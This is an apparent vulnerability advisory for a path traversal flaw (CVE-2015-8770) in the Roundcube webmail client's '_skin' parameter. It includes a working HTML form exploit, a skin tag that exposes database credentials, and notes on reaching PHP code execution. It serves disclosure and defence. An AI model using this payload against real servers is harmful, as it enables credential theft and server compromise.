High-Tech Bridge Security Research Lab discovered a path traversal vulnerability in a popular webmail client Roundcube. 
Vulnerability can be exploited to gain access to sensitive information and under certain circumstances to execute 
arbitrary code and totally compromise the vulnerable server.

The vulnerability exists due to insufficient sanitization of "_skin" HTTP POST parameter in "/index.php" script when 
changing between different skins of the web application. A remote authenticated attacker can use path traversal 
sequences (e.g. "../../") to load a new skin from arbitrary location on the system, readable by the webserver. 

A simple exploit below will send HTTP POST request to vulnerable script and will load a new skin from "/tmp" folder:


<form action="http://[HOST]/"; method="post" name="main">
<input type="hidden" name="_token" value="[TOKEN]">
<input type="hidden" name="_framed" value="1">
<input type="hidden" name="_task" value="settings">
<input type="hidden" name="_action" value="save-prefs">
<input type="hidden" name="_section" value="general">
<input type="hidden" name="_language" value="en_US">
<input type="hidden" name="_timezone" value="auto">
<input type="hidden" name="_time_format" value="H:A">
<input type="hidden" name="_date_format" value="Y-m-d">
<input type="hidden" name="_pretty_date" value="1">
<input type="hidden" name="_refresh_interval" value="1">
<input type="hidden" name="_skin" value="../../../../../../../../tmp">
<input value="submit" id="btn" type="submit" />
</form>


Exploitation of the vulnerability requires valid user credentials and ability to create files on vulnerable host. 

Using specially crafted skin for Roundcube, a remote attacker can gain access to potentially sensitive information. The 
following code in skin files will display database access credentials:

<roundcube:var name="config:db_dsnw" />

In case, when "skin_include_php" parameter is set to true, the attacker will be able to execute arbitrary PHP code from 
the skin files:

$config['skin_include_php'] = true;

This vulnerability is difficult to exploit since it requires ability to create files on the web server and a valid 
Roundcube account. But this situation is very common for shared hosting servers, that host clients' websites on the 
same server as Roundcube. 

More details in http://seclists.org/bugtraq/2016/Jan/60

References:
https://bugzilla.redhat.com/show_bug.cgi?id=1298864
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-8770
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8770